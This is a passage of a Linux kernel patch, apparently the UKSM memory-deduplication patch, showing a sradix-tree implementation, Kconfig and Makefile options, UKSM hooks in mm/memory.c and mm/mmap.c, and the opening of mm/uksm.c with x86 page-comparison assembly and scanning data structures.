++	      i < root->stores_size - offset && j < num; i++) {
++		if (!store[i]) {
++			store[i] = item[j];
++			if (root->assign)
++				root->assign(node, index + i, item[j]);
++			j++;
++		}
++	}
++
++	node->count += j;
++	root->num += j;
++	num -= j;
++
++	while (sradix_node_full(root, node)) {
++		node = node->parent;
++		if (!node)
++			break;
++
++		node->fulls++;
++	}
++
++	if (unlikely(!node)) {
++		/* All nodes are full */
++		root->min = 1 << (root->height * root->shift);
++		root->enter_node = NULL;
++	} else {
++		root->min = index + i - 1;
++		root->min |= (1UL << (node->height - 1)) - 1;
++		root->min++;
++		root->enter_node = node;
++	}
++
++	if (num) {
++		item += j;
++		goto go_on;
++	}
++
++	return 0;
++}
++
++
++/**
++ *	sradix_tree_shrink    -    shrink height of a sradix tree to minimal
++ *      @root		sradix tree root
++ *  
++ */
++static inline void sradix_tree_shrink(struct sradix_tree_root *root)
++{
++	/* try to shrink tree height */
++	while (root->height > 1) {
++		struct sradix_tree_node *to_free = root->rnode;
++
++		/*
++		 * The candidate node has more than one child, or its child
++		 * is not at the leftmost store, we cannot shrink.
++		 */
++		if (to_free->count != 1 || !to_free->stores[0])
++			break;
++
++		root->rnode = to_free->stores[0];
++		root->rnode->parent = NULL;
++		root->height--;
++		if (unlikely(root->enter_node == to_free)) {
++			root->enter_node = NULL;
++		}
++		root->free(to_free);
++	}
++}
++
++/*
++ * Del the item on the known leaf node and index
++ */
++void sradix_tree_delete_from_leaf(struct sradix_tree_root *root, 
++				  struct sradix_tree_node *node, unsigned long index)
++{
++	unsigned int offset;
++	struct sradix_tree_node *start, *end;
++
++	BUG_ON(node->height != 1);
++
++	start = node;
++	while (node && !(--node->count))
++		node = node->parent;
++
++	end = node;
++	if (!node) {
++		root->rnode = NULL;
++		root->height = 0;
++		root->min = 0;
++		root->num = 0;
++		root->enter_node = NULL;
++	} else {
++		offset = (index >> (root->shift * (node->height - 1))) & root->mask;
++		if (root->rm)
++			root->rm(node, offset);
++		node->stores[offset] = NULL;
++		root->num--;
++		if (root->min > index) {
++			root->min = index;
++			root->enter_node = node;
++		}
++	}
++
++	if (start != end) {
++		do {
++			node = start;
++			start = start->parent;
++			if (unlikely(root->enter_node == node))
++				root->enter_node = end;
++			root->free(node);
++		} while (start != end);
++
++		/*
++		 * Note that shrink may free "end", so enter_node still need to
++		 * be checked inside.
++		 */
++		sradix_tree_shrink(root);
++	} else if (node->count == root->stores_size - 1) {
++		/* It WAS a full leaf node. Update the ancestors */
++		node = node->parent;
++		while (node) {
++			node->fulls--;
++			if (node->fulls != root->stores_size - 1)
++				break;
++
++			node = node->parent;
++		}
++	}
++}
++
++void *sradix_tree_lookup(struct sradix_tree_root *root, unsigned long index)
++{
++	unsigned int height, offset;
++	struct sradix_tree_node *node;
++	int shift;
++
++	node = root->rnode;
++	if (node == NULL || (index >> (root->shift * root->height)))
++		return NULL;
++
++	height = root->height;
++	shift = (height - 1) * root->shift;
++
++	do {
++		offset = (index >> shift) & root->mask;
++		node = node->stores[offset];
++		if (!node)
++			return NULL;
++
++		shift -= root->shift;
++	} while (shift >= 0);
++
++	return node;
++}
++
++/*
++ * Return the item if it exists, otherwise create it in place
++ * and return the created item.
++ */
++void *sradix_tree_lookup_create(struct sradix_tree_root *root, 
++			unsigned long index, void *(*item_alloc)(void))
++{
++	unsigned int height, offset;
++	struct sradix_tree_node *node, *tmp;
++	void *item;
++	int shift, error;
++
++	if (root->rnode == NULL || (index >> (root->shift * root->height))) {
++		if (item_alloc) {
++			error = sradix_tree_extend(root, index);
++			if (error)
++				return NULL;
++		} else {
++			return NULL;
++		}
++	}
++
++	node = root->rnode;
++	height = root->height;
++	shift = (height - 1) * root->shift;
++
++	do {
++		offset = (index >> shift) & root->mask;
++		if (!node->stores[offset]) {
++			if (!(tmp = root->alloc()))
++				return NULL;
++
++			tmp->height = shift / root->shift;
++			node->stores[offset] = tmp;
++			tmp->parent = node;
++			node->count++;
++			node = tmp;
++		} else {
++			node = node->stores[offset];
++		}
++
++		shift -= root->shift;
++	} while (shift > 0);
++
++	BUG_ON(node->height != 1);
++	offset = index & root->mask;
++	if (node->stores[offset]) {
++		return node->stores[offset];
++	} else if (item_alloc) {
++		if (!(item = item_alloc()))
++			return NULL;
++
++		node->stores[offset] = item;
++
++		/*
++		 * NOTE: we do NOT call root->assign here, since this item is
++		 * newly created by us having no meaning. Caller can call this
++		 * if it's necessary to do so.
++		 */
++
++		node->count++;
++		root->num++;
++
++		while (sradix_node_full(root, node)) {
++			node = node->parent;
++			if (!node)
++				break;
++
++			node->fulls++;
++		}
++
++		if (unlikely(!node)) {
++			/* All nodes are full */
++			root->min = 1 << (root->height * root->shift);
++		} else {
++			if (root->min == index) {
++				root->min |= (1UL << (node->height - 1)) - 1;
++				root->min++;
++				root->enter_node = node;
++			}
++		}
++
++		return item;
++	} else {
++		return NULL;
++	}
++
++}
++
++int sradix_tree_delete(struct sradix_tree_root *root, unsigned long index)
++{
++	unsigned int height, offset;
++	struct sradix_tree_node *node;
++	int shift;
++
++	node = root->rnode;
++	if (node == NULL || (index >> (root->shift * root->height)))
++		return -ENOENT;
++
++	height = root->height;
++	shift = (height - 1) * root->shift;
++
++	do {
++		offset = (index >> shift) & root->mask;
++		node = node->stores[offset];
++		if (!node)
++			return -ENOENT;
++
++		shift -= root->shift;
++	} while (shift > 0);
++
++	offset = index & root->mask;
++	if (!node->stores[offset])
++		return -ENOENT;
++
++	sradix_tree_delete_from_leaf(root, node, index);
++
++	return 0;
++}
+diff --git a/mm/Kconfig b/mm/Kconfig
+index e742d06..93c2533 100644
+--- a/mm/Kconfig
++++ b/mm/Kconfig
+@@ -315,6 +315,32 @@ config KSM
+ 	  See Documentation/vm/ksm.txt for more information: KSM is inactive
+ 	  until a program has madvised that an area is MADV_MERGEABLE, and
+ 	  root has set /sys/kernel/mm/ksm/run to 1 (if CONFIG_SYSFS is set).
++choice
++	prompt "Choose UKSM/KSM strategy"
++	default UKSM
++	depends on KSM
++	help
++	  This option allows to select a UKSM/KSM stragety.
++
++config UKSM
++	bool "Ultra-KSM for page merging"
++	depends on KSM
++	help
++	UKSM is inspired by the Linux kernel project \u2014 KSM(Kernel Same
++	page Merging), but with a fundamentally rewritten core algorithm. With
++	an advanced algorithm, UKSM now can transparently scans all anonymously
++	mapped user space applications with an significantly improved scan speed
++	and CPU efficiency. Since KVM is friendly to KSM, KVM can also benefit from
++	UKSM. Now UKSM has its first stable release and first real world enterprise user.
++	For more information, please goto its project page.
++	(www.kerneldedup.org)
++
++config KSM_LEGACY
++	bool "Legacy KSM implementation"
++	depends on KSM
++	help
++	The legacy KSM implementation from Redhat.
++endchoice
+ 
+ config DEFAULT_MMAP_MIN_ADDR
+         int "Low address space to protect from user allocation"
+diff --git a/mm/Makefile b/mm/Makefile
+index 72c5acb..77882b7 100644
+--- a/mm/Makefile
++++ b/mm/Makefile
+@@ -39,7 +39,8 @@ obj-$(CONFIG_SPARSEMEM)	+= sparse.o
+ obj-$(CONFIG_SPARSEMEM_VMEMMAP) += sparse-vmemmap.o
+ obj-$(CONFIG_SLOB) += slob.o
+ obj-$(CONFIG_MMU_NOTIFIER) += mmu_notifier.o
+-obj-$(CONFIG_KSM) += ksm.o
++obj-$(CONFIG_KSM_LEGACY) += ksm.o
++obj-$(CONFIG_UKSM) += uksm.o
+ obj-$(CONFIG_PAGE_POISONING) += debug-pagealloc.o
+ obj-$(CONFIG_SLAB) += slab.o
+ obj-$(CONFIG_SLUB) += slub.o
+diff --git a/mm/memory.c b/mm/memory.c
+index 61a262b..a506b9d 100644
+--- a/mm/memory.c
++++ b/mm/memory.c
+@@ -118,6 +118,27 @@ __setup("norandmaps", disable_randmaps);
+ unsigned long zero_pfn __read_mostly;
+ unsigned long highest_memmap_pfn __read_mostly;
+ 
++#ifdef CONFIG_UKSM
++unsigned long uksm_zero_pfn __read_mostly;
++struct page *empty_uksm_zero_page;
++
++static int __init setup_uksm_zero_page(void)
++{
++	unsigned long addr;
++	addr = __get_free_pages(GFP_KERNEL | __GFP_ZERO, 0);
++	if (!addr)
++		panic("Oh boy, that early out of memory?");
++
++	empty_uksm_zero_page = virt_to_page((void *) addr);
++	SetPageReserved(empty_uksm_zero_page);
++
++	uksm_zero_pfn = page_to_pfn(empty_uksm_zero_page);
++
++	return 0;
++}
++core_initcall(setup_uksm_zero_page);
++#endif
++
+ /*
+  * CONFIG_MMU architectures set up ZERO_PAGE in their paging_init()
+  */
+@@ -129,6 +150,7 @@ static int __init init_zero_pfn(void)
+ core_initcall(init_zero_pfn);
+ 
+ 
++
+ #if defined(SPLIT_RSS_COUNTING)
+ 
+ void sync_mm_rss(struct mm_struct *mm)
+@@ -896,6 +918,11 @@ copy_one_pte(struct mm_struct *dst_mm, struct mm_struct *src_mm,
+ 			rss[MM_ANONPAGES]++;
+ 		else
+ 			rss[MM_FILEPAGES]++;
++
++		/* Should return NULL in vm_normal_page() */
++		uksm_bugon_zeropage(pte);
++	} else {
++		uksm_map_zero_page(pte);
+ 	}
+ 
+ out_set_pte:
+@@ -1138,8 +1165,10 @@ again:
+ 			ptent = ptep_get_and_clear_full(mm, addr, pte,
+ 							tlb->fullmm);
+ 			tlb_remove_tlb_entry(tlb, pte, addr);
+-			if (unlikely(!page))
++			if (unlikely(!page)) {
++				uksm_unmap_zero_page(ptent);
+ 				continue;
++			}
+ 			if (unlikely(details) && details->nonlinear_vma
+ 			    && linear_page_index(details->nonlinear_vma,
+ 						addr) != page->index)
+@@ -1704,7 +1733,7 @@ long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
+ 
+ 	VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));
+ 
+-	/* 
++	/*
+ 	 * Require read or write permissions.
+ 	 * If FOLL_FORCE is set, we only require the "MAY" flags.
+ 	 */
+@@ -1764,7 +1793,7 @@ long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
+ 				page = vm_normal_page(vma, start, *pte);
+ 				if (!page) {
+ 					if (!(gup_flags & FOLL_DUMP) &&
+-					     is_zero_pfn(pte_pfn(*pte)))
++					    (is_zero_pfn(pte_pfn(*pte))))
+ 						page = pte_page(*pte);
+ 					else {
+ 						pte_unmap(pte);
+@@ -2579,8 +2608,10 @@ static inline void cow_user_page(struct page *dst, struct page *src, unsigned lo
+ 			clear_page(kaddr);
+ 		kunmap_atomic(kaddr);
+ 		flush_dcache_page(dst);
+-	} else
++	} else {
+ 		copy_user_highpage(dst, src, va, vma);
++		uksm_cow_page(vma, src);
++	}
+ }
+ 
+ /*
+@@ -2779,6 +2810,7 @@ gotten:
+ 		new_page = alloc_zeroed_user_highpage_movable(vma, address);
+ 		if (!new_page)
+ 			goto oom;
++		uksm_cow_pte(vma, orig_pte);
+ 	} else {
+ 		new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);
+ 		if (!new_page)
+@@ -2804,8 +2836,11 @@ gotten:
+ 				dec_mm_counter_fast(mm, MM_FILEPAGES);
+ 				inc_mm_counter_fast(mm, MM_ANONPAGES);
+ 			}
+-		} else
++			uksm_bugon_zeropage(orig_pte);
++		} else {
++			uksm_unmap_zero_page(orig_pte);
+ 			inc_mm_counter_fast(mm, MM_ANONPAGES);
++		}
+ 		flush_cache_page(vma, address, pte_pfn(orig_pte));
+ 		entry = mk_pte(new_page, vma->vm_page_prot);
+ 		entry = maybe_mkwrite(pte_mkdirty(entry), vma);
+diff --git a/mm/mmap.c b/mm/mmap.c
+index f681e18..31ef952 100644
+--- a/mm/mmap.c
++++ b/mm/mmap.c
+@@ -36,6 +36,7 @@
+ #include <linux/sched/sysctl.h>
+ #include <linux/notifier.h>
+ #include <linux/memory.h>
++#include <linux/ksm.h>
+ 
+ #include <asm/uaccess.h>
+ #include <asm/cacheflush.h>
+@@ -65,7 +66,7 @@ static void unmap_region(struct mm_struct *mm,
+  * MAP_SHARED	r: (no) no	r: (yes) yes	r: (no) yes	r: (no) yes
+  *		w: (no) no	w: (no) no	w: (yes) yes	w: (no) no
+  *		x: (no) no	x: (no) yes	x: (no) yes	x: (yes) yes
+- *		
++ *
+  * MAP_PRIVATE	r: (no) no	r: (yes) yes	r: (no) yes	r: (no) yes
+  *		w: (no) no	w: (no) no	w: (copy) copy	w: (no) no
+  *		x: (no) no	x: (no) yes	x: (no) yes	x: (yes) yes
+@@ -252,6 +253,7 @@ static struct vm_area_struct *remove_vma(struct vm_area_struct *vma)
+ 	if (vma->vm_file)
+ 		fput(vma->vm_file);
+ 	mpol_put(vma_policy(vma));
++	uksm_remove_vma(vma);
+ 	kmem_cache_free(vm_area_cachep, vma);
+ 	return next;
+ }
+@@ -707,9 +709,16 @@ int vma_adjust(struct vm_area_struct *vma, unsigned long start,
+ 	long adjust_next = 0;
+ 	int remove_next = 0;
+ 
++/*
++ * to avoid deadlock, ksm_remove_vma must be done before any spin_lock is
++ * acquired
++ */
++	uksm_remove_vma(vma);
++
+ 	if (next && !insert) {
+ 		struct vm_area_struct *exporter = NULL;
+ 
++		uksm_remove_vma(next);
+ 		if (end >= next->vm_end) {
+ 			/*
+ 			 * vma expands, overlapping all the next, and
+@@ -803,6 +812,7 @@ again:			remove_next = 1 + (end > next->vm_end);
+ 		end_changed = true;
+ 	}
+ 	vma->vm_pgoff = pgoff;
++
+ 	if (adjust_next) {
+ 		next->vm_start += adjust_next << PAGE_SHIFT;
+ 		next->vm_pgoff += adjust_next;
+@@ -873,16 +883,22 @@ again:			remove_next = 1 + (end > next->vm_end);
+ 		 * up the code too much to do both in one go.
+ 		 */
+ 		next = vma->vm_next;
+-		if (remove_next == 2)
++		if (remove_next == 2) {
++			uksm_remove_vma(next);
+ 			goto again;
+-		else if (next)
++		} else if (next) {
+ 			vma_gap_update(next);
+-		else
++		} else {
+ 			mm->highest_vm_end = end;
++		}
++	} else {
++		if (next && !insert)
++			uksm_vma_add_new(next);
+ 	}
+ 	if (insert && file)
+ 		uprobe_mmap(insert);
+ 
++	uksm_vma_add_new(vma);
+ 	validate_mm(mm);
+ 
+ 	return 0;
+@@ -1250,6 +1266,9 @@ unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
+ 	vm_flags = calc_vm_prot_bits(prot) | calc_vm_flag_bits(flags) |
+ 			mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;
+ 
++	/* If uksm is enabled, we add VM_MERGABLE to new VMAs. */
++	uksm_vm_flags_mod(&vm_flags);
++
+ 	if (flags & MAP_LOCKED)
+ 		if (!can_do_mlock())
+ 			return -EPERM;
+@@ -1595,6 +1614,7 @@ munmap_back:
+ 
+ 	vma_link(mm, vma, prev, rb_link, rb_parent);
+ 	file = vma->vm_file;
++	uksm_vma_add_new(vma);
+ 
+ 	/* Once vma denies write, undo our temporary denial count */
+ 	if (correct_wcount)
+@@ -1626,6 +1646,7 @@ unmap_and_free_vma:
+ 	unmap_region(mm, vma, prev, vma->vm_start, vma->vm_end);
+ 	charged = 0;
+ free_vma:
++	uksm_remove_vma(vma);
+ 	kmem_cache_free(vm_area_cachep, vma);
+ unacct_error:
+ 	if (charged)
+@@ -1874,7 +1895,7 @@ arch_get_unmapped_area(struct file *filp, unsigned long addr,
+ 	info.align_mask = 0;
+ 	return vm_unmapped_area(&info);
+ }
+-#endif	
++#endif
+ 
+ void arch_unmap_area(struct mm_struct *mm, unsigned long addr)
+ {
+@@ -2452,6 +2473,8 @@ static int __split_vma(struct mm_struct * mm, struct vm_area_struct * vma,
+ 	else
+ 		err = vma_adjust(vma, vma->vm_start, addr, vma->vm_pgoff, new);
+ 
++	uksm_vma_add_new(new);
++
+ 	/* Success. */
+ 	if (!err)
+ 		return 0;
+@@ -2617,6 +2640,7 @@ static unsigned long do_brk(unsigned long addr, unsigned long len)
+ 		return addr;
+ 
+ 	flags = VM_DATA_DEFAULT_FLAGS | VM_ACCOUNT | mm->def_flags;
++	uksm_vm_flags_mod(&flags);
+ 
+ 	error = get_unmapped_area(NULL, addr, len, 0, MAP_FIXED);
+ 	if (error & ~PAGE_MASK)
+@@ -2684,6 +2708,7 @@ static unsigned long do_brk(unsigned long addr, unsigned long len)
+ 	vma->vm_flags = flags;
+ 	vma->vm_page_prot = vm_get_page_prot(flags);
+ 	vma_link(mm, vma, prev, rb_link, rb_parent);
++	uksm_vma_add_new(vma);
+ out:
+ 	perf_event_mmap(vma);
+ 	mm->total_vm += len >> PAGE_SHIFT;
+@@ -2718,6 +2743,12 @@ void exit_mmap(struct mm_struct *mm)
+ 	/* mm's last user has gone, and its about to be pulled down */
+ 	mmu_notifier_release(mm);
+ 
++	/*
++	 * Taking write lock on mmap_sem does not harm others,
++	 * but it's crucial for uksm to avoid races.
++	 */
++	down_write(&mm->mmap_sem);
++
+ 	if (mm->locked_vm) {
+ 		vma = mm->mmap;
+ 		while (vma) {
+@@ -2754,6 +2785,11 @@ void exit_mmap(struct mm_struct *mm)
+ 	}
+ 	vm_unacct_memory(nr_accounted);
+ 
++	mm->mmap = NULL;
++	mm->mm_rb = RB_ROOT;
++	mm->mmap_cache = NULL;
++	up_write(&mm->mmap_sem);
++
+ 	WARN_ON(mm->nr_ptes > (FIRST_USER_ADDRESS+PMD_SIZE-1)>>PMD_SHIFT);
+ }
+ 
+@@ -2864,6 +2900,7 @@ struct vm_area_struct *copy_vma(struct vm_area_struct **vmap,
+ 				new_vma->vm_ops->open(new_vma);
+ 			vma_link(mm, new_vma, prev, rb_link, rb_parent);
+ 			*need_rmap_locks = false;
++			uksm_vma_add_new(new_vma);
+ 		}
+ 	}
+ 	return new_vma;
+@@ -2965,10 +3002,10 @@ int install_special_mapping(struct mm_struct *mm,
+ 	ret = insert_vm_struct(mm, vma);
+ 	if (ret)
+ 		goto out;
+-
+ 	mm->total_vm += len >> PAGE_SHIFT;
+ 
+ 	perf_event_mmap(vma);
++	uksm_vma_add_new(vma);
+ 
+ 	return 0;
+ 
+diff --git a/mm/rmap.c b/mm/rmap.c
+index 6280da8..645cf22 100644
+--- a/mm/rmap.c
++++ b/mm/rmap.c
+@@ -973,9 +973,9 @@ void page_move_anon_rmap(struct page *page,
+ 
+ /**
+  * __page_set_anon_rmap - set up new anonymous rmap
+- * @page:	Page to add to rmap	
++ * @page:	Page to add to rmap
+  * @vma:	VM area to add page to.
+- * @address:	User virtual address of the mapping	
++ * @address:	User virtual address of the mapping
+  * @exclusive:	the page is exclusively owned by the current process
+  */
+ static void __page_set_anon_rmap(struct page *page,
+diff --git a/mm/uksm.c b/mm/uksm.c
+new file mode 100644
+index 0000000..794867a
+--- /dev/null
++++ b/mm/uksm.c
+@@ -0,0 +1,5640 @@
++/*
++ * Ultra KSM. Copyright (C) 2011-2012 Nai Xia
++ *
++ * This is an improvement upon KSM. Some basic data structures and routines
++ * are borrowed from ksm.c .
++ *
++ * Its new features:
++ * 1. Full system scan:
++ *      It automatically scans all user processes' anonymous VMAs. Kernel-user
++ *      interaction to submit a memory area to KSM is no longer needed.
++ *
++ * 2. Rich area detection:
++ *      It automatically detects rich areas containing abundant duplicated
++ *      pages based. Rich areas are given a full scan speed. Poor areas are
++ *      sampled at a reasonable speed with very low CPU consumption.
++ *
++ * 3. Ultra Per-page scan speed improvement:
++ *      A new hash algorithm is proposed. As a result, on a machine with
++ *      Core(TM)2 Quad Q9300 CPU in 32-bit mode and 800MHZ DDR2 main memory, it
++ *      can scan memory areas that does not contain duplicated pages at speed of
++ *      627MB/sec ~ 2445MB/sec and can merge duplicated areas at speed of
++ *      477MB/sec ~ 923MB/sec.
++ *
++ * 4. Thrashing area avoidance:
++ *      Thrashing area(an VMA that has frequent Ksm page break-out) can be
++ *      filtered out. My benchmark shows it's more efficient than KSM's per-page
++ *      hash value based volatile page detection.
++ *
++ *
++ * 5. Misc changes upon KSM:
++ *      * It has a fully x86-opitmized memcmp dedicated for 4-byte-aligned page
++ *        comparison. It's much faster than default C version on x86.
++ *      * rmap_item now has an struct *page member to loosely cache a
++ *        address-->page mapping, which reduces too much time-costly
++ *        follow_page().
++ *      * The VMA creation/exit procedures are hooked to let the Ultra KSM know.
++ *      * try_to_merge_two_pages() now can revert a pte if it fails. No break_
++ *        ksm is needed for this case.
++ *
++ * 6. Full Zero Page consideration(contributed by Figo Zhang)
++ *    Now uksmd consider full zero pages as special pages and merge them to an
++ *    special unswappable uksm zero page.
++ */
++
++#include <linux/errno.h>
++#include <linux/mm.h>
++#include <linux/fs.h>
++#include <linux/mman.h>
++#include <linux/sched.h>
++#include <linux/rwsem.h>
++#include <linux/pagemap.h>
++#include <linux/rmap.h>
++#include <linux/spinlock.h>
++#include <linux/jhash.h>
++#include <linux/delay.h>
++#include <linux/kthread.h>
++#include <linux/wait.h>
++#include <linux/slab.h>
++#include <linux/rbtree.h>
++#include <linux/memory.h>
++#include <linux/mmu_notifier.h>
++#include <linux/swap.h>
++#include <linux/ksm.h>
++#include <linux/crypto.h>
++#include <linux/scatterlist.h>
++#include <crypto/hash.h>
++#include <linux/random.h>
++#include <linux/math64.h>
++#include <linux/gcd.h>
++#include <linux/freezer.h>
++#include <linux/sradix-tree.h>
++
++#include <asm/tlbflush.h>
++#include "internal.h"
++
++#ifdef CONFIG_X86
++#undef memcmp
++
++#ifdef CONFIG_X86_32
++#define memcmp memcmpx86_32
++/*
++ * Compare 4-byte-aligned address s1 and s2, with length n
++ */
++int memcmpx86_32(void *s1, void *s2, size_t n)
++{
++	size_t num = n / 4;
++	register int res;
++
++	__asm__ __volatile__
++	(
++	 "testl %3,%3\n\t"
++	 "repe; cmpsd\n\t"
++	 "je        1f\n\t"
++	 "sbbl      %0,%0\n\t"
++	 "orl       $1,%0\n"
++	 "1:"
++	 : "=&a" (res), "+&S" (s1), "+&D" (s2), "+&c" (num)
++	 : "0" (0)
++	 : "cc");
++
++	return res;
++}
++
++/*
++ * Check the page is all zero ?
++ */
++static int is_full_zero(const void *s1, size_t len)
++{
++	unsigned char same;
++
++	len /= 4;
++
++	__asm__ __volatile__
++	("repe; scasl;"
++	 "sete %0"
++	 : "=qm" (same), "+D" (s1), "+c" (len)
++	 : "a" (0)
++	 : "cc");
++
++	return same;
++}
++
++
++#elif defined(CONFIG_X86_64)
++#define memcmp memcmpx86_64
++/*
++ * Compare 8-byte-aligned address s1 and s2, with length n
++ */
++int memcmpx86_64(void *s1, void *s2, size_t n)
++{
++	size_t num = n / 8;
++	register int res;
++
++	__asm__ __volatile__
++	(
++	 "testq %q3,%q3\n\t"
++	 "repe; cmpsq\n\t"
++	 "je        1f\n\t"
++	 "sbbq      %q0,%q0\n\t"
++	 "orq       $1,%q0\n"
++	 "1:"
++	 : "=&a" (res), "+&S" (s1), "+&D" (s2), "+&c" (num)
++	 : "0" (0)
++	 : "cc");
++
++	return res;
++}
++
++static int is_full_zero(const void *s1, size_t len)
++{
++	unsigned char same;
++
++	len /= 8;
++
++	__asm__ __volatile__
++	("repe; scasq;"
++	 "sete %0"
++	 : "=qm" (same), "+D" (s1), "+c" (len)
++	 : "a" (0)
++	 : "cc");
++
++	return same;
++}
++
++#endif
++#else
++static int is_full_zero(const void *s1, size_t len)
++{
++	unsigned long *src = s1;
++	int i;
++
++	len /= sizeof(*src);
++
++	for (i = 0; i < len; i++) {
++		if (src[i])
++			return 0;
++	}
++
++	return 1;
++}
++#endif
++
++#define U64_MAX		(~((u64)0))
++#define UKSM_RUNG_ROUND_FINISHED  (1 << 0)
++#define TIME_RATIO_SCALE	10000
++
++#define SLOT_TREE_NODE_SHIFT	8
++#define SLOT_TREE_NODE_STORE_SIZE	(1UL << SLOT_TREE_NODE_SHIFT)
++struct slot_tree_node {
++	unsigned long size;
++	struct sradix_tree_node snode;
++	void *stores[SLOT_TREE_NODE_STORE_SIZE];
++};
++
++static struct kmem_cache *slot_tree_node_cachep;
++
++static struct sradix_tree_node *slot_tree_node_alloc(void)
++{
++	struct slot_tree_node *p;
++	p = kmem_cache_zalloc(slot_tree_node_cachep, GFP_KERNEL);
++	if (!p)
++		return NULL;
++
++	return &p->snode;
++}
++
++static void slot_tree_node_free(struct sradix_tree_node *node)
++{
++	struct slot_tree_node *p;
++
++	p = container_of(node, struct slot_tree_node, snode);
++	kmem_cache_free(slot_tree_node_cachep, p);
++}
++
++static void slot_tree_node_extend(struct sradix_tree_node *parent,
++				  struct sradix_tree_node *child)
++{
++	struct slot_tree_node *p, *c;
++
++	p = container_of(parent, struct slot_tree_node, snode);
++	c = container_of(child, struct slot_tree_node, snode);
++
++	p->size += c->size;
++}
++
++void slot_tree_node_assign(struct sradix_tree_node *node,
++			   unsigned index, void *item)
++{
++	struct vma_slot *slot = item;
++	struct slot_tree_node *cur;
++
++	slot->snode = node;
++	slot->sindex = index;
++
++	while (node) {
++		cur = container_of(node, struct slot_tree_node, snode);
++		cur->size += slot->pages;
++		node = node->parent;
++	}
++}
++
++void slot_tree_node_rm(struct sradix_tree_node *node, unsigned offset)
++{
++	struct vma_slot *slot;
++	struct slot_tree_node *cur;
++	unsigned long pages;
++
++	if (node->height == 1) {
++		slot = node->stores[offset];
++		pages = slot->pages;
++	} else {
++		cur = container_of(node->stores[offset],
++				   struct slot_tree_node, snode);
++		pages = cur->size;
++	}
++
++	while (node) {
++		cur = container_of(node, struct slot_tree_node, snode);
++		cur->size -= pages;
++		node = node->parent;
++	}
++}
++
++unsigned long slot_iter_index;
++int slot_iter(void *item,  unsigned long height)
++{
++	struct slot_tree_node *node;
++	struct vma_slot *slot;
++
++	if (height == 1) {
++		slot = item;
++		if (slot_iter_index < slot->pages) {
++			/*in this one*/
++			return 1;
++		} else {
++			slot_iter_index -= slot->pages;
++			return 0;
++		}
++
++	} else {
++		node = container_of(item, struct slot_tree_node, snode);
++		if (slot_iter_index < node->size) {
++			/*in this one*/
++			return 1;
++		} else {
++			slot_iter_index -= node->size;
++			return 0;
++		}
++	}
++}
++
++
++static inline void slot_tree_init_root(struct sradix_tree_root *root)
++{
++	init_sradix_tree_root(root, SLOT_TREE_NODE_SHIFT);
++	root->alloc = slot_tree_node_alloc;
++	root->free = slot_tree_node_free;
++	root->extend = slot_tree_node_extend;
++	root->assign = slot_tree_node_assign;
++	root->rm = slot_tree_node_rm;
++}
++
++void slot_tree_init(void)
++{
++	slot_tree_node_cachep = kmem_cache_create("slot_tree_node",
++				sizeof(struct slot_tree_node), 0,
++				SLAB_PANIC | SLAB_RECLAIM_ACCOUNT,
++				NULL);
++}
++
++
++/* Each rung of this ladder is a list of VMAs having a same scan ratio */
++struct scan_rung {
++	//struct list_head scanned_list;
++	struct sradix_tree_root vma_root;
++	struct sradix_tree_root vma_root2;
++
++	struct vma_slot *current_scan;
++	unsigned long current_offset;
++
++	/*
++	 * The initial value for current_offset, it should loop over
++	 * [0~ step - 1] to let all slot have its chance to be scanned.
++	 */
++	unsigned long offset_init;
++	unsigned long step; /* dynamic step for current_offset */
++	unsigned int flags;
++	unsigned long pages_to_scan;
++	//unsigned long fully_scanned_slots;
++	/*
++	 * a little bit tricky - if cpu_time_ratio > 0, then the value is the
++	 * the cpu time ratio it can spend in rung_i for every scan
++	 * period. if < 0, then it is the cpu time ratio relative to the
++	 * max cpu percentage user specified. Both in unit of
++	 * 1/TIME_RATIO_SCALE
++	 */
++	int cpu_ratio;
++
++	/*
++	 * How long it will take for all slots in this rung to be fully
++	 * scanned? If it's zero, we don't care about the cover time:
++	 * it's fully scanned.
++	 */
++	unsigned int cover_msecs;
++	//unsigned long vma_num;
++	//unsigned long pages; /* Sum of all slot's pages in rung */
++};
++
++/**
++ * node of either the stable or unstale rbtree
++ *
++ */
++struct tree_node {
++	struct rb_node node; /* link in the main (un)stable rbtree */
++	struct rb_root sub_root; /* rb_root for sublevel collision rbtree */
++	u32 hash;
++	unsigned long count; /* TODO: merged with sub_root */
++	struct list_head all_list; /* all tree nodes in stable/unstable tree */
++};
++
++/**
++ * struct stable_node - node of the stable rbtree
++ * @node: rb node of this ksm page in the stable tree
++ * @hlist: hlist head of rmap_items using this ksm page
++ * @kpfn: page frame number of this ksm page
++ */
++struct stable_node {
++	struct rb_node node; /* link in sub-rbtree */
++	struct tree_node *tree_node; /* it's tree node root in stable tree, NULL if it's in hell list */
++	struct hlist_head hlist;
++	unsigned long kpfn;
++	u32 hash_max; /* if ==0 then it's not been calculated yet */
++	struct list_head all_list; /* in a list for all stable nodes */
++};
++
++/**
++ * struct node_vma - group rmap_items linked in a same stable
++ * node together.
++ */
++struct node_vma {
++	union {
++		struct vma_slot *slot;
++		unsigned long key;  /* slot is used as key sorted on hlist */
++	};
++	struct hlist_node hlist;
++	struct hlist_head rmap_hlist;
++	struct stable_node *head;
++};
++
++/**
++ * struct rmap_item - reverse mapping item for virtual addresses
++ * @rmap_list: next rmap_item in mm_slot's singly-linked rmap_list
++ * @anon_vma: pointer to anon_vma for this mm,address, when in stable tree
++ * @mm: the memory structure this rmap_item is pointing into
++ * @address: the virtual address this rmap_item tracks (+ flags in low bits)
++ * @node: rb node of this rmap_item in the unstable tree
++ * @head: pointer to stable_node heading this list in the stable tree
++ * @hlist: link into hlist of rmap_items hanging off that stable_node
++ */
++struct rmap_item {
++	struct vma_slot *slot;
++	struct page *page;
++	unsigned long address;	/* + low bits used for flags below */
++	unsigned long hash_round;
++	unsigned long entry_index;
++	union {
++		struct {/* when in unstable tree */
++			struct rb_node node;
++			struct tree_node *tree_node;
++			u32 hash_max;
++		};
++		struct { /* when in stable tree */
++			struct node_vma *head;
++			struct hlist_node hlist;
++			struct anon_vma *anon_vma;
++		};
++	};
++} __attribute__((aligned(4)));
++
++struct rmap_list_entry {
++	union {
++		struct rmap_item *item;
++		unsigned long addr;
++	};
++	/* lowest bit is used for is_addr tag */
++} __attribute__((aligned(4))); /* 4 aligned to fit in to pages*/
++
++
